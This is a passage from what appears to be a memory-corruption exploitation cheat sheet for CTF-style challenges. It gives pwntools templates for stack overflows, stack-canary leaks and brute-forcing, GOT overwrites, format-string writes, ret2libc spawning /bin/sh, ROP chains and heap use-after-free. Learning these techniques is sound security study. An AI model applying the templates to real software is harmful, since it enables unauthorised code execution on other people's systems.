Exploitation Techniques

Pattern Selection

printf(user_input)

1. Stack Buffer Overflow

Concept: Overflow a stack buffer to overwrite the saved return address.

Stack Layout:
[  buffer  ][ saved_rbp ][ return_addr ]
     ↑            ↑            ↑
  overflow → overwrite →  control RIP

Template:

OFFSET = <bytes_to_return_address>
TARGET = <address_to_jump_to>

payload = b'A' * OFFSET
payload += p64(TARGET)

64-bit alignment: Add a

ret

2. Stack Canary Bypass

Concept: Leak or avoid corrupting the stack canary.

Approaches:

• Leak via format string or other info disclosure
• Brute force (only works with fork servers - canary constant across children)
• Off-by-one to corrupt variable above canary without touching canary

Leak template:

# Probe for canary (ends in null byte)
for i in range(1, 50):
    send(f'%{i}$p')
    if response.endswith(b'00'):
        CANARY_OFFSET = i

Brute force template:

canary = b'\x00'  # First byte always null
for position in range(7):
    for byte in range(256):
        payload = padding + canary + bytes([byte])
        if no_crash(payload):
            canary += bytes([byte])
            break

3. GOT Overwrite

Concept: Overwrite a GOT entry so the next call to that function jumps to your target.

Requirements: Partial RELRO (GOT writable), write primitive

Template:

GOT_ENTRY = <address_of_got_entry>
NEW_VALUE = <address_to_redirect_to>

# Write NEW_VALUE to GOT_ENTRY using your primitive
# (format string, arbitrary write, etc.)

Common targets: Functions called after your write (puts, printf, exit, __stack_chk_fail)

4. Format String

Concept: User input used directly as printf format string enables read/write.

Read template:

# Leak stack values
payload = b'%p.' * N

# Leak specific offset
payload = b'%<offset>$p'

Write template:

# pwntools handles complexity
writes = {<target_addr>: <value>}
payload = fmtstr_payload(<stack_offset>, writes)

5. ret2libc

Concept: After leaking a libc address, calculate base and call system().

Template:

LEAKED_ADDR = <leaked_function_address>
LEAKED_OFFSET = libc.symbols['<leaked_function>']

libc.address = LEAKED_ADDR - LEAKED_OFFSET
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))

payload = padding + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

6. ROP Chains

Concept: Chain gadgets ending in

ret

64-bit calling convention: RDI, RSI, RDX, RCX, R8, R9

Gadget types:

• pop <reg>; ret

  - Load value into register

• mov [<reg>], <reg>; ret

  - Write to memory

• syscall; ret

  - Make syscall

Template:

rop = ROP(elf)
rop.call('<function>', [<arg1>, <arg2>, ...])
payload = padding + rop.chain()

7. Heap Exploitation

Use-After-Free:

1. Allocate chunk A
2. Free chunk A
3. Allocate chunk B (same size, reuses A's memory)
4. Dangling pointer to A now accesses B's data

Heap Overflow:

• Corrupt adjacent chunk metadata
• Overwrite forward/backward pointers
• Achieve write primitive on next alloc/free

Composition Patterns